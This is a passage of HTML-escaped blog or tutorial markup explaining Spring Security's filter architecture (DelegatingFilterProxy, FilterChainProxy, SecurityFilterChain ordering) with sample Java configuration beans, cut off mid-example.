    &lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;doFilter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Pass it along&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Do something after&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here’s the kicker: &lt;strong&gt;filter order matters. A lot.&lt;/strong&gt; Filters execute sequentially, and each one only affects what comes after it.&lt;/p&gt;

&lt;h2 id=&quot;delegatingfilterproxy-bridging-two-worlds&quot;&gt;DelegatingFilterProxy: Bridging Two Worlds&lt;/h2&gt;

&lt;p&gt;Here’s a problem: servlet containers register filters using their own standards, but they don’t know anything about Spring beans.&lt;/p&gt;

&lt;p&gt;Enter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DelegatingFilterProxy&lt;/code&gt;. It registers with the servlet container but delegates all the actual work to a Spring bean that implements &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Filter&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;doFilter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ServletRequest&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ServletResponse&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
                     &lt;span class=&quot;nc&quot;&gt;FilterChain&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Filter&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delegate&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getFilterBean&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;someBeanName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Get the Spring bean&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;delegate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;doFilter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Delegate the work&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Bonus: this allows lazy loading of filter beans. The container needs filters registered early, but Spring beans load later via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ContextLoaderListener&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;filterchainproxy-where-the-magic-happens&quot;&gt;FilterChainProxy: Where the Magic Happens&lt;/h2&gt;

&lt;p&gt;All of Spring Security’s servlet support lives inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FilterChainProxy&lt;/code&gt;. It’s a special filter that can delegate to multiple filter instances through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain&lt;/code&gt;. Since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FilterChainProxy&lt;/code&gt; is a bean, it’s typically wrapped in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DelegatingFilterProxy&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Why &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FilterChainProxy&lt;/code&gt; rocks:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Single entry point&lt;/strong&gt; for all Spring Security servlet support (perfect spot for debugging breakpoints)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Clears the SecurityContext&lt;/strong&gt; to prevent memory leaks&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Applies HttpFirewall&lt;/strong&gt; to protect against certain attacks&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Flexible matching&lt;/strong&gt; based on anything in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpServletRequest&lt;/code&gt;, not just the URL&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;securityfilterchain-the-actual-filters&quot;&gt;SecurityFilterChain: The Actual Filters&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain&lt;/code&gt; determines which Spring Security filters should execute for a given request.&lt;/p&gt;

&lt;p&gt;You can have multiple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain&lt;/code&gt; instances in one application. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FilterChainProxy&lt;/code&gt; picks the right one, and here’s the important part: &lt;strong&gt;only the first matching chain executes.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Example flow:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/messages/&lt;/code&gt; → matches &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/**&lt;/code&gt; pattern in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain0&lt;/code&gt; → executes that chain only&lt;/li&gt;
  &lt;li&gt;Request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/messages/&lt;/code&gt; → doesn’t match &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain0&lt;/code&gt; → tries next chains&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain&lt;/code&gt; is independently configurable with different numbers of filters. You can even have a chain with zero filters if you want Spring Security to ignore certain requests.&lt;/p&gt;

&lt;h2 id=&quot;security-filters-order-matters&quot;&gt;Security Filters: Order Matters&lt;/h2&gt;

&lt;p&gt;Security filters execute in a specific order. Authentication filters must run before authorization filters, for instance.&lt;/p&gt;

&lt;p&gt;Check out this configuration:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Configuration&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@EnableWebSecurity&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityConfig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;filterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;csrf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;httpBasic&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;formLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authenticated&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This creates the following filter order:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CsrfFilter&lt;/code&gt; - CSRF attack protection&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BasicAuthenticationFilter&lt;/code&gt; - HTTP Basic authentication&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UsernamePasswordAuthenticationFilter&lt;/code&gt; - Form login authentication&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AuthorizationFilter&lt;/code&gt; - Authorization&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;getting-started-the-basics&quot;&gt;Getting Started: The Basics&lt;/h2&gt;

&lt;p&gt;The most basic Spring Security configuration looks like this:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Configuration&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@EnableWebSecurity&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;WebSecurityConfig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserDetailsService&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;userDetailsService&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;InMemoryUserDetailsManager&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;InMemoryUserDetailsManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;createUser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaultPasswordEncoder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;roles&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;USER&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This simple config gives you:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Authentication required for all URLs&lt;/li&gt;
  &lt;li&gt;Auto-generated login form&lt;/li&gt;
  &lt;li&gt;Form-based authentication&lt;/li&gt;
  &lt;li&gt;Logout support&lt;/li&gt;
  &lt;li&gt;CSRF attack prevention&lt;/li&gt;
  &lt;li&gt;Session fixation protection&lt;/li&gt;
  &lt;li&gt;Security header integration (HSTS, X-Content-Type-Options, etc.)&lt;/li&gt;
  &lt;li&gt;Servlet API method integration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Not bad for a few lines of code!&lt;/p&gt;

&lt;h2 id=&quot;httpsecurity-fine-grained-control&quot;&gt;HttpSecurity: Fine-Grained Control&lt;/h2&gt;

&lt;p&gt;That basic config actually creates this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain&lt;/code&gt; behind the scenes:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;filterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authenticated&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;formLogin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;httpBasic&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This setup:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Requires authentication for every request&lt;/li&gt;
  &lt;li&gt;Enables form login&lt;/li&gt;
  &lt;li&gt;Enables HTTP Basic authentication&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;multiple-httpsecurity-different-rules-for-different-areas&quot;&gt;Multiple HttpSecurity: Different Rules for Different Areas&lt;/h2&gt;

&lt;p&gt;Real applications often need different security configurations for different parts. Just register multiple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SecurityFilterChain&lt;/code&gt; beans:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Configuration&lt;/span&gt;
&lt;span class=&quot;nd&quot;&gt;@EnableWebSecurity&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;MultiHttpSecurityConfig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserDetailsService&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;userDetailsService&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;UserBuilder&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaultPasswordEncoder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;InMemoryUserDetailsManager&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;InMemoryUserDetailsManager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;createUser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;roles&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;USER&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;createUser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;admin&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;roles&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;USER&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ADMIN&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;manager&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;@Order&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Higher priority&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;SecurityFilterChain&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;apiFilterChain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;HttpSecurity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;securityMatcher&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/api/**&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// Only applies to /api/**&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;authorizeHttpRequests&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authorize&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;anyRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;hasRole&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ADMIN&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;httpBasic&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;nd&quot;&gt;@Bean&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// No @Order = lowest priority&lt;/span&gt;
